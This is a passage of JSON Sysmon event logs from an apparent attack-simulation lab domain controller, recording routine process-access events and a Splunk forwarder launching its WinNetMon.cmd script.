11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3670,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C1530500}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C1530500}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3671,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.138\r\nProcessGuid: {90617006-407F-5F2D-0000-00107D550500}\r\nProcessId: 4824\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinNetMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.138","ProcessGuid":"{90617006-407F-5F2D-0000-00107D550500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinNetMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-00107D550500}\r\nTargetProcessId: 4824\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-00107D550500}","TargetProcessId":"4824","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-00107D550500}\r\nTargetProcessId: 4824\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-00107D550500}","TargetProcessId":"4824","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 